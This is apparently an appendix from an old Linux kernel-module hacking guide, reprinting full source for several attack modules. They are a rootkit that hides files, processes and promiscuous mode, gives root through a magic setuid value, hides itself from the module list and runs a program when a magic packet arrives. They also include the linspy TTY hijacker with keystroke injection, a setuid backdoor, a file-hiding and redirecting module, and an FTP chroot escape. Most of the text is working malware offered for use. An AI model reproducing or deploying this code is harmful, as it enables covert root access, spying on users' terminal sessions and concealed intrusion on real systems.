    test = (char *) kmalloc(strlen(truc) + 2, GFP_KERNEL);
    (void) strncpy_fromfs(test, filename, strlen(truc));
    test[strlen(truc)] = '\0';
    if (!strcmp(test, truc)) {
        kfree(test);
        mmm = current->mm->brk;
        ret = brk((void *) (mmm + 256));
        if (ret < 0)
            return ret;
        memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1);
        ret = my_execve((char *) (mmm + 2), argv, envp);
        tmp = brk((void *) mmm);
    } else {
        kfree(test);
        ret = my_execve(filename, argv, envp);
    }
    return ret;
}

```

```

/*
 * Trap the ioctl() system call to hide PROMISC flag on ethernet
interfaces.
 * If we reset the PROMISC flag when the trojan is already running,
then it
 * won't hide it anymore (needed otherwise you'd just have to do an
 * "ifconfig eth0 +promisc" to find the trojan).

```

```

*/
int n_ioctl(int d, int request, unsigned long arg)
{
    int tmp;
    struct ifreq ifr;

    tmp = (*o_ioctl) (d, request, arg);
    if (request == SIOCGIFFLAGS && !promisc) {
        memcpy_fromfs((struct ifreq *) &ifr, (struct ifreq *) arg,
sizeof(struct ifreq));
        ifr.ifr_flags = ifr.ifr_flags & (~IFF_PROMISC);
        memcpy_toofs((struct ifreq *) arg, (struct ifreq *) &ifr,
sizeof(struct ifreq));
    } else if (request == SIOCSIFFLAGS) {
        memcpy_fromfs((struct ifreq *) &ifr, (struct ifreq *) arg,
sizeof(struct ifreq));
        if (ifr.ifr_flags & IFF_PROMISC)
            promisc = 1;
        else if (!(ifr.ifr_flags & IFF_PROMISC))
            promisc = 0;
    }
    return tmp;
}

/*
 * trojan setMAGICUID() system call.
 */
int n_setuid(uid_t uid)
{
    int tmp;

    if (uid == MAGICUID) {
        current->uid = 0;
        current->euid = 0;
        current->gid = 0;
        current->egid = 0;
        return 0;
    }
    tmp = (*o_setuid) (uid);
    return tmp;
}

```

```

/*
 * trojan getdents() system call.
 */
int n_getdents(unsigned int fd, struct dirent *dirp, unsigned int
count)
{
    unsigned int tmp, n;
    int t, proc = 0;
    struct inode *dinode;
    struct dirent *dirp2, *dirp3;

    tmp = (*o_getdents) (fd, dirp, count);

#ifdef __LINUX_DCACHE_H
    dinode = current->files->fd[fd]->f_dentry->d_inode;
#else
    dinode = current->files->fd[fd]->f_inode;
#endif

    if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) &&
MINOR(dinode->i_dev) == 1)
        proc = 1;
    if (tmp > 0) {
        dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);
        memcpy_fromfs(dirp2, dirp, tmp);
        dirp3 = dirp2;
        t = tmp;
        while (t > 0) {
            n = dirp3->d_reclen;
            t -= n;
            if ((strstr((char *) &(dirp3->d_name), (char *) &mtroj) !
= NULL) \
                ||(proc && invisible(myatoi(dirp3->d_name)))) {
                if (t != 0)
                    memmove(dirp3, (char *) dirp3 + dirp3->d_reclen,
t);
            }
            else
                dirp3->d_off = 1024;
            tmp -= n;
        }
        if (dirp3->d_reclen == 0) {

```

```

        /*
        * workaround for some shitty fs drivers that do not
properly
        * feature the getdents syscall.
        */
        tmp -= t;
        t = 0;
    }
    if (t != 0)
        dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);

    }
    memcpy_tofs(dirp, dirp2, tmp);
    kfree(dirp2);
}
return tmp;
}

/*
* Trojan socketcall system call
* executes a given binary when a packet containing the magic word is
received.
* WARNING: THIS IS REALLY UNTESTED UGLY CODE. MAY CORRUPT YOUR
SYSTEM.
*/

int n_socketcall(int call, unsigned long *args)
{
    int ret, ret2, compt;
    char *t = RECVEXEC;
    unsigned long *sargs = args;
    unsigned long a0, a1, mmm;
    void *buf;

    ret = (*o_socketcall) (call, args);
    if (ret == MAGICSIZE && call == SYS_RECVFROM) {
        a0 = get_user(sargs);
        a1 = get_user(sargs + 1);
        buf = kmalloc(ret, GFP_KERNEL);

```

```

memcpy_fromfs(buf, (void *) a1, ret);
for (compt = 0; compt < ret; compt++)
    if (((char *) (buf))[compt] == 0)
        ((char *) (buf))[compt] = 1;
if (strstr(buf, mtroj)) {
    kfree(buf);
    ret2 = fork();
    if (ret2 == 0) {
        mmm = current->mm->brk;
        ret2 = brk((void *) (mmm + 256));
        memcpy_tofs((void *) mmm + 2, (void *) t, strlen(t) +
1);

```

/* Hope the execve has been successfull otherwise you'll have 2 copies of the

master process in the ps list :] */

```

        ret2 = my_execve((char *) mmm + 2, NULL, NULL);
    }
}
}
return ret;
}

```

```

/*
 * module initialization stuff.
 */

```

```

int init_module(void)

```

```

{
/* module list cleaning */
/* would need to make a clean search of the right register
 * in the function prologue, since gcc may not always put
 * struct module *mp in %ebx
 *
 * Try %ebx, %edi, %ebp, well, every register actually :)
 */

```

```

    register struct module *mp asm("%ebx");

```

```

    *(char *) (mp->name) = 0;

```

```

    mp->size = 0;

```

```

    mp->ref = 0;

```

```

/*

```

```

* Make it unremovable
*/
/*      MOD_INC_USE_COUNT;
*/

o_get_kernel_syms = sys_call_table[SYS_get_kernel_syms];
sys_call_table[SYS_get_kernel_syms] = (void *) n_get_kernel_syms;

o_getdents = sys_call_table[SYS_getdents];
sys_call_table[SYS_getdents] = (void *) n_getdents;

o_setuid = sys_call_table[SYS_setuid];
sys_call_table[SYS_setuid] = (void *) n_setuid;

__NR_myexecve = 164;
while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
    __NR_myexecve--;
o_execve = sys_call_table[SYS_execve];
if (__NR_myexecve != 0) {
    sys_call_table[__NR_myexecve] = o_execve;
    sys_call_table[SYS_execve] = (void *) n_execve;
}
promisc = 0;
o_ioctl = sys_call_table[SYS_ioctl];
sys_call_table[SYS_ioctl] = (void *) n_ioctl;

o_socketcall = sys_call_table[SYS_socketcall];
sys_call_table[SYS_socketcall] = (void *) n_socketcall;
return 0;
}

void cleanup_module(void)
{
    sys_call_table[SYS_get_kernel_syms] = o_get_kernel_syms;
    sys_call_table[SYS_getdents] = o_getdents;
    sys_call_table[SYS_setuid] = o_setuid;
    sys_call_table[SYS_socketcall] = o_socketcall;

    if (__NR_myexecve != 0)
        sys_call_table[__NR_myexecve] = 0;
    sys_call_table[SYS_execve] = o_execve;
}

```

```
    sys_call_table[SYS_ioctl] = o_ioctl;
}
<-->

----[ EOF
```

LKM TTY hijacking

NAME : linspy

AUTHOR : [halflife](#)

DESCRIPTION : This LKM comes again Phrack issue 50 (article 5: 'Abuse of the Linux Kernel for Fun and Profit'). It is a very nice TTY hijacker working the way I outline in II.7. This module uses its own character device for control / and logging.

LINK : <http://www.phrack.com>

```
<++> linspy/Makefile
CONFIG_KERNELD=-DCONFIG_KERNELD
CFLAGS = -m486 -O6 -pipe -fomit-frame-pointer -Wall $(CONFIG_KERNELD)
CC=gcc
# this is the name of the device you have (or will) made with mknod
DN = '-DDEVICE_NAME="/dev/ltap"'
# 1.2.x need this to compile, comment out on 1.3+ kernels
V = #-DNEED_VERSION
MODCFLAGS := $(V) $(CFLAGS) -DMODULE -D__KERNEL__ -DLINUX

all:                linspy ltread setuid

linspy:             linspy.c /usr/include/linux/version.h
                   $(CC) $(MODCFLAGS) -c linspy.c

ltread:             $(CC) $(DN) -o ltread ltread.c

clean:              rm *.o ltread

setuid:             hacked_setuid.c /usr/include/linux/version.h
                   $(CC) $(MODCFLAGS) -c hacked_setuid.c

<--> end Makefile
<++> linspy/hacked_setuid.c
int errno;
#include <linux/sched.h>
```

```
#include <linux/mm.h>
#include <linux/malloc.h>
#include <linux/errno.h>
#include <linux/sched.h>
#include <linux/kernel.h>
#include <linux/times.h>
#include <linux/utsname.h>
#include <linux/param.h>
#include <linux/resource.h>
#include <linux/signal.h>
#include <linux/string.h>
#include <linux/ptrace.h>
#include <linux/stat.h>
#include <linux/mman.h>
#include <linux/mm.h>
#include <asm/segment.h>
#include <asm/io.h>
#include <linux/module.h>
#include <linux/version.h>
#include <errno.h>
#include <linux/unistd.h>
#include <string.h>
#include <asm/string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/sysmacros.h>
#ifdef NEED_VERSION
static char kernel_version[] = UTS_RELEASE;
#endif
static inline _syscall1(int, setuid, uid_t, uid);
extern void *sys_call_table[];
void *original_setuid;
extern int hacked_setuid(uid_t uid)
{
    int i;
    if(uid == 4755)
    {
        current->uid = current->euid = current->gid = current->egid = 0;
        return 0;
    }
    sys_call_table[SYS_setuid] = original_setuid;
    i = setuid(uid);
    sys_call_table[SYS_setuid] = hacked_setuid;
}
```

```
    if(i == -1) return -errno;
    else return i;
}
int init_module(void)
{
    original_setuid = sys_call_table[SYS_setuid];
    sys_call_table[SYS_setuid] = hacked_setuid;
    return 0;
}
void cleanup_module(void)
{
    sys_call_table[SYS_setuid] = original_setuid;
}
```

<++> linspy/linspy.c

```
int errno;
#include <linux/tty.h>
#include <linux/sched.h>
#include <linux/mm.h>
#include <linux/malloc.h>
#include <linux/errno.h>
#include <linux/sched.h>
#include <linux/kernel.h>
#include <linux/times.h>
#include <linux/utsname.h>
#include <linux/param.h>
#include <linux/resource.h>
#include <linux/signal.h>
#include <linux/string.h>
#include <linux/ptrace.h>
#include <linux/stat.h>
#include <linux/mman.h>
#include <linux/mm.h>
#include <asm/segment.h>
#include <asm/io.h>
#ifdef MODULE
#include <linux/module.h>
#include <linux/version.h>
#endif
#include <errno.h>
#include <asm/segment.h>
#include <linux/unistd.h>
#include <string.h>
#include <asm/string.h>
```

```
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/sysmacros.h>
#include <linux/vt.h>

/* set the version information, if needed */
#ifdef NEED_VERSION
static char kernel_version[] = UTS_RELEASE;
#endif

#ifndef MIN
#define MIN(a,b)      ((a) < (b) ? (a) : (b))
#endif

/* ring buffer info */

#define BUFFERSZ      2048
char buffer[BUFFERSZ];
int queue_head = 0;
int queue_tail = 0;

/* taken_over indicates if the victim can see any output */
int taken_over = 0;

static inline _syscall3(int, write, int, fd, char *, buf, size_t,
count);
extern void *sys_call_table[];

/* device info for the linspy device, and the device we are watching
*/
static int linspy_major = 40;
int tty_minor = -1;
int tty_major = 4;

/* address of original write(2) syscall */
void *original_write;

void save_write(char *, size_t);

int out_queue(void)
{
    int c;
```

```
    if(queue_head == queue_tail) return -1;
    c = buffer[queue_head];
    queue_head++;
    if(queue_head == BUFFERSZ) queue_head=0;
    return c;
}

int in_queue(int ch)
{
    if((queue_tail + 1) == queue_head) return 0;
    buffer[queue_tail] = ch;
    queue_tail++;
    if(queue_tail == BUFFERSZ) queue_tail=0;
    return 1;
}

/* check if it is the tty we are looking for */
int is_fd_tty(int fd)
{
    struct file *f=NULL;
    struct inode *inode=NULL;
    int mymajor=0;
    int myminor=0;

    if(fd >= NR_OPEN || !(f=current->files->fd[fd]) || !(inode=f-
>f_inode))
        return 0;
    mymajor = major(inode->i_rdev);
    myminor = minor(inode->i_rdev);
    if(mymajor != tty_major) return 0;
    if(myminor != tty_minor) return 0;
    return 1;
}

/* this is the new write(2) replacement call */
extern int new_write(int fd, char *buf, size_t count)
{
    int r;
    if(is_fd_tty(fd))
    {
        if(count > 0)
            save_write(buf, count);
    }
}
```

```

        if(taken_over) return count;
    }
    sys_call_table[SYS_write] = original_write;
    r = write(fd, buf, count);
    sys_call_table[SYS_write] = new_write;
    if(r == -1) return -errno;
    else return r;
}

/* save data from the write(2) call into the buffer */
void save_write(char *buf, size_t count)
{
    int i;
    for(i=0;i < count;i++)
        in_queue(get_fs_byte(buf+i));
}

/* read from the ltap device - return data from queue */
static int linspy_read(struct inode *in, struct file *fi, char *buf,
int count)
{
    int i;
    int c;
    int cnt=0;
    if(current->euid != 0) return 0;
    for(i=0;i < count;i++)
    {
        c = out_queue();
        if(c < 0) break;
        cnt++;
        put_fs_byte(c, buf+i);
    }
    return cnt;
}

/* open the ltap device */
static int linspy_open(struct inode *in, struct file *fi)
{
    if(current->euid != 0) return -EIO;
    MOD_INC_USE_COUNT;
    return 0;
}

```

```
/* close the ltap device */
static void linspy_close(struct inode *in, struct file *fi)
{
    taken_over=0;
    tty_minor = -1;
    MOD_DEC_USE_COUNT;
}

/* some ioctl operations */
static int
linspy_ioctl(struct inode *in, struct file *fi, unsigned int cmd,
unsigned long args)
{
#define LS_SETMAJOR      0
#define LS_SETMINOR     1
#define LS_FLUSHBUF     2
#define LS_TOGGLE       3

    if(current->euid != 0) return -EIO;
    switch(cmd)
    {
        case LS_SETMAJOR:
            tty_major = args;
            queue_head = 0;
            queue_tail = 0;
            break;
        case LS_SETMINOR:
            tty_minor = args;
            queue_head = 0;
            queue_tail = 0;
            break;
        case LS_FLUSHBUF:
            queue_head=0;
            queue_tail=0;
            break;
        case LS_TOGGLE:
            if(taken_over) taken_over=0;
            else taken_over=1;
            break;
        default:
            return 1;
    }
}
```

```
    return 0;
}

static struct file_operations linspy = {
NULL,
linspy_read,
NULL,
NULL,
NULL,
linspy_ioctl,
NULL,
linspy_open,
linspy_close,
NULL
};

/* init the loadable module */
int init_module(void)
{
    original_write = sys_call_table[SYS_write];
    sys_call_table[SYS_write] = new_write;
    if(register_chrdev(linspy_major, "linspy", &linspy)) return -EIO;
    return 0;
}

/* cleanup module before being removed */
void cleanup_module(void)
{
    sys_call_table[SYS_write] = original_write;
    unregister_chrdev(linspy_major, "linspy");
}
<--> end linspy.c
<+> linspy/ltread.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <termios.h>
#include <string.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/types.h>
```

```
#include <sys/stat.h>
#include <sys/sysmacros.h>

struct termios save_termios;
int ttysavefd = -1;
int fd;

#ifndef DEVICE_NAME
#define DEVICE_NAME "/dev/ltp"
#endif

#define LS_SETMAJOR      0
#define LS_SETMINOR     1

#define LS_FLUSHBUF     2
#define LS_TOGGLE       3

void stuff_keystroke(int fd, char key)
{
    ioctl(fd, TIOCSTI, &key);
}

int tty_cbreak(int fd)
{
    struct termios buff;
    if(tcgetattr(fd, &save_termios) < 0)
        return -1;
    buff = save_termios;
    buff.c_lflag &= ~(ECHO | ICANON);
    buff.c_cc[VMIN] = 0;
    buff.c_cc[VTIME] = 0;
    if(tcsetattr(fd, TCSAFLUSH, &buff) < 0)
        return -1;
    ttysavefd = fd;
    return 0;
}

char *get_device(char *basedevice)
{
    static char devname[1024];
    int fd;

    if(strlen(basedevice) > 128) return NULL;
}
```

```
if(basedevice[0] == '/')
    strcpy(devname, basedevice);
else
    sprintf(devname, "/dev/%s", basedevice);
fd = open(devname, O_RDONLY);
if(fd < 0) return NULL;
if(!isatty(fd)) return NULL;
close(fd);
return devname;
}
```

```
int do_ioctl(char *device)
{
    struct stat mystat;

    if(stat(device, &mystat) < 0) return -1;
    fd = open(DEVICE_NAME, O_RDONLY);
    if(fd < 0) return -1;
    if(ioctl(fd, LS_SETMAJOR, major(mystat.st_rdev)) < 0) return -1;
    if(ioctl(fd, LS_SETMINOR, minor(mystat.st_rdev)) < 0) return -1;
}
```

```
void sigint_handler(int s)
{
    exit(s);
}
```

```
void cleanup_atexit(void)
{
    puts(" ");
    if(ttysavefd >= 0)
        tcsetattr(ttysavefd, TCSAFLUSH, &save_termios);
}
```

```
main(int argc, char **argv)
{
    int my_tty;
    char *devname;
    unsigned char ch;
    int i;
```

```
if(argc != 2)
{
    fprintf(stderr, "%s ttyname\n", argv[0]);
    fprintf(stderr, "ttyname should NOT be your current tty!\n");
    exit(0);
}
devname = get_device(argv[1]);
if(devname == NULL)
{
    perror("get_device");
    exit(0);
}
if(tty_cbreak(0) < 0)
{
    perror("tty_cbreak");
    exit(0);
}
atexit(cleanup_atexit);
signal(SIGINT, sigint_handler);
if(do_ioctl(devname) < 0)
{
    perror("do_ioctl");
    exit(0);
}
my_tty = open(devname, O_RDWR);
if(my_tty == -1) exit(0);
setvbuf(stdout, NULL, _IONBF, 0);
printf("[now monitoring session]\n");
while(1)
{
    i = read(0, &ch, 1);
    if(i > 0)
    {
        if(ch == 24)
        {
            ioctl(fd, LS_TOGGLE, 0);
            printf("[Takeover mode toggled]\n");
        }
        else stuff_keystroke(my_tty, ch);
    }
    i = read(fd, &ch, 1);
    if(i > 0)
        putchar(ch);
}
```

```
    }  
}  
<--> end ltread.c
```

EOF

AFHRM - the monitor tool

NAME : AFHRM (Advanced file hide & redirect module)

AUTHOR : [Michal Zalewski](mailto:Michal.Zalewski@boss.staszic.waw.pl)

DESCRIPTION : This LKM was made especially for admins who want to control some files (passwd, for example) concerning file access. This module can monitor any fileaccess and redirect write attempts. It is also possible to do file hiding.

LINK : <http://www.rootshell.com>

```
/*  
    Advanced file hide & redirect module for Linux 2.0.xx / i386  
    -----  
    (C) 1998 Michal Zalewski <lcamtuf@boss.staszic.waw.pl>  
*/
```

```
#define MODULE  
#define __KERNEL__
```

```
#include <linux/module.h>  
#include <linux/kernel.h>  
#include <asm/unistd.h>  
#include <sys/syscall.h>  
#include <sys/types.h>  
#include <asm/fcntl.h>  
#include <asm/errno.h>  
#include <linux/types.h>  
#include <linux/dirent.h>  
#include <sys/mman.h>
```

```
#if (!defined(__GLIBC__) || __GLIBC__ < 2)  
#include <sys/stat.h>  
#else  
#include <statbuf.h> // What can I do?  
#endif
```

```
#include <linux/string.h>
```

```
#include "broken-glibc.h"
#include <linux/fs.h>
#include <linux/malloc.h>

/* Hope that's free? */
#define O_NOCHG      0x1000000
#define O_ACCNOCHG  0x2000000
#define O_STRICT    0x4000000
#define O_STILL     0x8000000

#define M_MAIN      0x0fffffff
#define M_MINOR     (M_MAIN ^ O_ACCMODE)

struct red {          // Redirections database entry.
    const char *src,*dst;
    const int flags,new_flags;
};

struct red redir_table[]={

// Include user-specific choices :-)
#include "config.h"

};

#define REDIRS sizeof(redir_table)/sizeof(struct red)

struct dat {         // Inode database entry.
    long ino,dev;
    int valid;
};

int as_today,ohits,ghits,        // internal counters.
    uhits,lhits,rhits;

struct dat polozenie[REDIRS];    // Inodes database.

// Protos...
int collect(void);

extern void* sys_call_table[];

// Old system calls handlers (for module removal).
```

```

int (*stary_open)(const char *pathname, int flags, mode_t mode);
int (*stary_getdents)(unsigned int fd, struct dirent* dirp, unsigned
int count);
int (*stary_link)(const char* oldname,const char* newname);
int (*stary_unlink)(const char* name);
int (*stary_rename)(const char* oldname,const char* newname);

int (*sys_stat)(void*,void*);
int (*mybrk)(void*);

// Ugly low-level hack - OH, HOW WE NEED IT :))
int mystat(const char* arg1,struct stat* arg2,char space) {
    unsigned long m1=0,m2;
    long __res;
    char* a1;
    struct stat* a2;
    if (!space) {
        // If needed, duplicate 1st argument to user space...
        m1=current->mm->brk;
        mybrk((void*)(m1+strlen(arg1)+1));
        a1=(char*)(m1+2);
        memcpy_tofs(a1,arg1,strlen(arg1)+1);
    } else a1=(char*)arg1;
    // Allocate space for 2nd argument...
    m2=current->mm->brk;
    mybrk((void*)(m2+sizeof(struct stat)));
    a2=(struct stat*)(m2+2);
    // Call stat(...)
    __res=sys_stat(a1,a2);
    // Copy 2nd argument back...
    memcpy_fromfs(arg2,a2,sizeof(struct stat));
    // Free memory.
    if (!space) mybrk((void*)m1); else mybrk((void*)m2);
    return __res;
}

// New open(...) handler.
extern int nowy_open(const char *pathname, int flags, mode_t mode) {
    int i=0,n;
    char zmieniony=0,*a1;
    struct stat buf;
    unsigned long m1=0;

```

```

if (++as_today>INTERV) {
    as_today=0;
    collect();
}
if (!mystat(pathname,&buf,1)) for (i=0;i<REDIRS && !zmieniony;i++)
if (polozenie[i].valid
    && (long)buf.st_dev==polozenie[i].dev && (long)*((char*)&buf.
st_dev+4)==polozenie[i].ino) {
    if (redir_table[i].flags & O_STRICT) n=redir_table[i].flags &
O_ACCMODE; else n=0;
    switch(flags) {
        case O_RDONLY:
            if ((redir_table[i].flags & O_WRONLY) || (n & O_RDWR)) n=1;
            break;
        case O_WRONLY:
            if ((redir_table[i].flags & O_RDONLY) || (n & O_RDWR)) n=1;
            break;
        default:
            if (n && (n & (O_RDONLY|O_WRONLY))) n=1;
            n=0;
    }
#ifdef DEBUG
    printk("AFHRM_DEBUG: open %s (D:0x%x I:0x%x) ",redir_table[i].
src, buf.st_dev, buf.st_ino);
    printk("[%s] of: 0x%x cf: 0x%x nf: ",redir_table[i].dst, mode,
redir_table[i].flags);
    printk("0x%x rd: %d.\n", redir_table[i].new_flags, n==0);
#endif
    ohits++;
    if (!n && (((redir_table[i].flags & M_MINOR) & flags) ==
(redir_table[i].flags & M_MINOR)))
        if (redir_table[i].dst) {
            flags=((redir_table[i].new_flags & O_NOCHG) > 0)*flags) |
                (((redir_table[i].new_flags & O_ACCNOCHG) > 0)*(flags &
O_ACCMODE)) |
                (redir_table[i].new_flags & M_MAIN);
            /* User space trick */
            m1=current->mm->brk;
            mybrk((void*)(m1+strlen(redir_table[i].dst)+1));
            a1=(char*)(m1+2);
            memcpy_tofs(a1,redir_table[i].dst,strlen(redir_table[i].dst)
+1);
            pathname=a1;

```

```

        zmieniony=1;
    } else return -ERR;
}
i=stary_open(pathname,flags,mode);
if (zmieniony) mybrk((void*)m1);
return i;
}

// New getdents(...) handler.
int nowy_getdents(unsigned int fd, struct dirent *dirp, unsigned int
count) {
    int ret,n,t,i,dev;
    struct dirent *d2,*d3;
    ret=stary_getdents(fd,dirp,count);
    dev = (long)current->files->fd[fd]->f_inode->i_dev;
    if (ret>0) {
        d2=(struct dirent*)kmalloc(ret,GFP_KERNEL);
        memcpy_fromfs(d2,dirp,ret);
        d3=d2;
        t=ret;
        while (t>0) {
            n=d3->d_reclen;
            t-=n;
            for (i=0;i<REDIRS;i++)
                if (polozenie[i].valid && /* dev == polozenie[i].dev && */ /*
BROKEN! */
                    d3->d_ino==polozenie[i].ino && redir_table[i].dst ==
NULL) {
#ifdef DEBUG
                printk("AFHRM_DEBUG: getdents %s [D: 0x%x I: 0x%x] r: 0x%x
t: 0x%x\n",
                    redir_table[i].src,dev,d3->d_ino,ret,t);
#endif
                ghits++;
                if (t!=0) memmove(d3,(char*)d3+d3->d_reclen,t); else d3-
>d_off=1024;
                ret-=n;
            }
            if (!d3->d_reclen) { ret-=t;t=0; }
            if (t) d3=(struct dirent*)((char*)d3+d3->d_reclen);
        }
        memcpy_tofs(dirp,d2,ret);
    }
}

```

```

    kfree(d2);
}
return ret;
}

// New link(...) handler.
extern int nowy_link(const char *oldname,const char *newname) {
    int i;
    struct stat buf;
    if (!mystat(oldname,&buf,1)) for (i=0;i<REDIRS;i++) if (polozenie
[i].valid &&
        (long)buf.st_dev==polozenie[i].dev && ( redir_table[i].dst ==
NULL ||
        redir_table[i].flags | O_STILL ) &&
        (long)*((char*)&buf.st_dev+4)==polozenie[i].ino) {
#ifdef DEBUG
        printk("AFHRM_DEBUG: link %s... (D:0x%x I:0x%x).",redir_table[i].
src,buf.st_dev,
            (long)*((char*)&buf.st_dev+4));
#endif
        lhits++;
        if (redir_table[i].dst) return -STILL_ERR; else return -ERR;
    }
    return stary_link(oldname,newname);
}

// New unlink(...) handler.
extern int nowy_unlink(const char *name) {
    int i;
    struct stat buf;
    if (!mystat(name,&buf,1)) for (i=0;i<REDIRS;i++) if (polozenie[i].
valid &&
        (long)buf.st_dev==polozenie[i].dev && ( redir_table[i].dst ==
NULL ||
        redir_table[i].flags | O_STILL ) &&
        (long)*((char*)&buf.st_dev+4)==polozenie[i].ino) {
#ifdef DEBUG
        printk("AFHRM_DEBUG: unlink %s (D:0x%x I:0x%x).",redir_table[i].
src,buf.st_dev,
            (long)*((char*)&buf.st_dev+4));
#endif
}

```

```

        uhits++;
        if (redir_table[i].dst) return -STILL_ERR; else return -ERR;
    }
    return stary_unlink(name);
}

// New rename(...) handler.
extern int nowy_rename(const char *oldname, const char* newname) {
    int i;
    struct stat buf;
    if (!mystat(oldname,&buf,1)) for (i=0;i<REDIRS;i++) if (polozenie
[i].valid &&
        (long)buf.st_dev==polozenie[i].dev && ( redir_table[i].dst ==
NULL ||
        redir_table[i].flags | O_STILL ) &&
        (long)*((char*)&buf.st_dev+4)==polozenie[i].ino) {
#ifdef DEBUG
        printk("AFHRM_DEBUG: rename %s... (D:0x%x I:0x%x).",redir_table
[i].src,buf.st_dev,
            (long)*((char*)&buf.st_dev+4));
#endif
        rhits++;
        if (redir_table[i].dst) return -STILL_ERR; else return -ERR;
    }
    return stary_rename(oldname,newname);
}

// Inode database rebuild procedure.
int collect() {
    int x=0,i=0,err;
    struct stat buf;
#ifdef DEBUG
    printk("AFHRM_DEBUG: Automatic inode database rebuild started.\n");
#endif
    for (;i<REDIRS;i++)
        if (!(err=mystat(redir_table[i].src,&buf,0))) {
            polozenie[i].valid=1;
            polozenie[i].dev=buf.st_dev;
            polozenie[i].ino=(long)*((char*)&buf.st_dev+4);
#ifdef DEBUG
            printk("AFHRM_DEBUG: #%d file %s [D: 0x%x I: 0x%x].\n",x,redir_table

```

```

[i].src,
        buf.st_dev,buf.st_ino);
#endif
        x++;
    } else {
        polozenie[i].valid=0;
#ifdef DEBUG
        printk("AFHRM_DEBUG: file: %s missed [err %d].\n",redir_table[i].
src,-err);
    }
    if (x!=REDIRS) {
        printk("AFHRM_DEBUG: %d inode(s) not found, skipped.\n",REDIRS-x);
    }
    return x;
}

// *****
// MAINS :)
// *****

// Module startup.
int init_module(void) {
#ifdef HIDDEN
    register struct module *mp asm("%ebp");
#endif
    int x;
    unsigned long flags;
    save_flags(flags);
    cli(); // To satisfy kgb ;-)
#ifdef HIDDEN
    *(char*)(mp->name)=0;
    mp->size=0;
    mp->ref=0;
#endif
#ifdef VERBOSE
    printk("AFHRM_INIT: Version " VERSION " starting.\n");
#endif
#ifdef HIDDEN
    register_syntab(0);
    printk("AFHRM_INIT: Running in invisible mode - can't be removed.
\n");
#endif
}

```

```

    printk("AFHRM_INIT: inode database rebuild interval: %d calls.\n",
INTERV);
#endif
    sys_stat=sys_call_table[__NR_stat];
    mybrk=sys_call_table[__NR_brk];
    x=collect();
    stary_open=sys_call_table[__NR_open];
    stary_getdents=sys_call_table[__NR_getdents];
    stary_link=sys_call_table[__NR_link];
    stary_unlink=sys_call_table[__NR_unlink];
    stary_rename=sys_call_table[__NR_rename];
#ifdef VERBOSE
    printk("AFHRM_INIT: Old __NR_open=0x%x, new __NR_open=0x%x.\n", (int)
stary_open, (int)nowy_open);
    printk("AFHRM_INIT: Old __NR_getdents=0x%x, new __NR_getdents=0x%x.
\n", (int)stary_getdents,
        (int)nowy_getdents);
    printk("AFHRM_INIT: Old __NR_link=0x%x, new __NR_link=0x%x.\n", (int)
stary_link, (int)nowy_link);
    printk("AFHRM_INIT: Old __NR_unlink=0x%x, new __NR_unlink=0x%x.\n",
(int)stary_unlink,
        (int)nowy_unlink);
    printk("AFHRM_INIT: Old __NR_rename=0x%x, new __NR_rename=0x%x.\n",
(int)stary_rename,
        (int)nowy_rename);
#endif
    sys_call_table[__NR_open]=nowy_open;
    sys_call_table[__NR_getdents]=nowy_getdents;
    sys_call_table[__NR_link]=nowy_link;
    sys_call_table[__NR_unlink]=nowy_unlink;
    sys_call_table[__NR_rename]=nowy_rename;
#ifdef VERBOSE
    printk("AFHRM_INIT: %d of %d redirections loaded. Init OK.\n",x,
REDIRS);
#endif
    restore_flags(flags);
    return 0;
}

// Module shutdown...
void cleanup_module(void) {
    unsigned long flags;

```

```

    save_flags(flags);
    cli(); // To satisfy kgb ;-)
#ifdef VERBOSE
    printk("AFHRM_INIT: Version " VERSION " shutting down.\n");
#endif
    sys_call_table[__NR_open]=stary_open;
    sys_call_table[__NR_getdents]=stary_getdents;
    sys_call_table[__NR_link]=stary_link;
    sys_call_table[__NR_unlink]=stary_unlink;
    sys_call_table[__NR_rename]=stary_rename;
#ifdef VERBOSE
    printk("AFHRM_INIT: Hits: open %d, getdents %d, link %d, unlink %d,
rename %d. Shutdown OK.\n",
        ohits,ghits,lhits,uhits,rhits);
#endif
    restore_flags(flags);
}

```

CHROOT module trick

NAME : chr.c

AUTHOR : FLoW/HISPAHACK

DESCRIPTION : The first source represents the ls 'trojan'. The second one represents the actual module which is doing the chroot trick.

LINK : <http://hispahack.ccc.de>

```

/*LS 'TROJAN'*/
/* Sustituto para el "ls" de un ftp restringido.
 * Carga el modulo del kernel chr.o
 * FLoW - !H'98
 */

#include <stdio.h>
#include <sys/wait.h>

main()
{
int estado;

printf("UID: %i EUID: %i\n",getuid(),geteuid());
printf("Cambiando EUID...\n");

setuid(0); /* Ya que wu-ftpd usa seteuid(), podemos recuperar uid=0 */

```

```

printf("UID: %i EUID: %i\n",getuid(),geteuid());

switch(fork())
{
case -1: printf("Error creando hijo.\n");
case  0: execlp("/bin/insmod","insmod","/bin/chr.o",0);
        printf("Error ejecutando insmod.\n");
        exit(1);
default: printf("Cargando modulo chroot...\n");
        wait(&estado);
        if(WIFEXITED(estado)!=0 && WEXITSTATUS(estado)==0)
            printf("Modulo cargado!\n");
        else
            printf("Error cargando modulo.\n");
        break;
}
}

/* Modulo del kernel para anular un chroot() y "retocar" chmod()
 * FLoW - !H'98
 * Basado en heroin.c de Runar Jensen <zarq@opaque.org>
 */

#include <linux/fs.h>
#include <linux/module.h>
#include <linux/malloc.h>
#include <linux/unistd.h>
#include <sys/syscall.h>

#include <linux/dirent.h>
#include <linux/proc_fs.h>
#include <stdlib.h>

static inline _syscall2(int, chmod, const char*, path, mode_t, mode);
static inline _syscall1(int, setuid, uid_t, uid);

extern void *sys_call_table[];

int (*original_chroot)(const char *, const char*);
int (*original_chmod)(const char *, mode_t);

```

```
int (*original_setuid)(uid_t);

int hacked_chmod(const char *path, mode_t mode)
{
int err;

if(mode==83) { /* chmod 123 XXX */
    (*original_setuid)(0);
    err=(*original_chmod)(path, 511); /* chmod 777 XXX */
}

else {
    err=(*original_chmod)(path, mode);
}

return(err);
}

int hacked_chroot(const char *path, const char *cmd)
{
    return(0);
}

